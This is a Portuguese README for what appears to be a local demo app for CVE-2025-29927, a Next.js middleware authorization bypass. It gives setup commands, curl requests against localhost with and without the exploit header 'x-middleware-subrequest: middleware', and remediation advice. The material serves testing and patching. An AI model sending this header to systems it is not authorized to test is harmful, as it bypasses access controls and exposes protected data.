
Testa e demonstra CVE-2025-29927, uma bypass de autorização de middleware no Next.js. Inclui scripts de teste de exploração e acesso normal, além de orientação de remediação.
Esta aplicação demonstra a vulnerabilidade de bypass de autorização no middleware do Next.js (CVE-2025-29927).
CVE-2025-29927 é uma vulnerabilidade de bypass de autorização no middleware do Next.js. Ao enviar um cabeçalho HTTP especialmente criado (x-middleware-subrequest), um atacante pode contornar as verificações de autorização implementadas no middleware, potencialmente obtendo acesso a recursos protegidos.
Instale as dependências:
cd /var/www/react-nextjs/test-middleware-skip
npm install
Execute o servidor de desenvolvimento:
npm run dev
O servidor iniciará em http://localhost:3000
Tente acessar a rota protegida normalmente:
npm run test-normal
ou
curl -v http://localhost:3000/protected-data
Você deve receber uma resposta 401 Não Autorizado, já que o middleware bloqueia o acesso.
Tente acessar a rota protegida com o cabeçalho de exploração:
npm run test-exploit
ou
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
Se a aplicação for vulnerável, você receberá uma resposta 200 OK com os dados protegidos.
Acesso normal (deve ser bloqueado):
curl -v http://localhost:3000/api/protected
Com exploração:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Para corrigir esta vulnerabilidade, você deve:
Atualize o Next.js para uma versão corrigida:
Se não puder atualizar, implemente um proxy reverso (como Nginx ou Cloudflare) que remova o cabeçalho x-middleware-subrequest das requisições recebidas.
Teste se a rota da API é vulnerável:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança. Use-a para verificar se suas próprias aplicações Next.js estão vulneráveis e precisam de correção.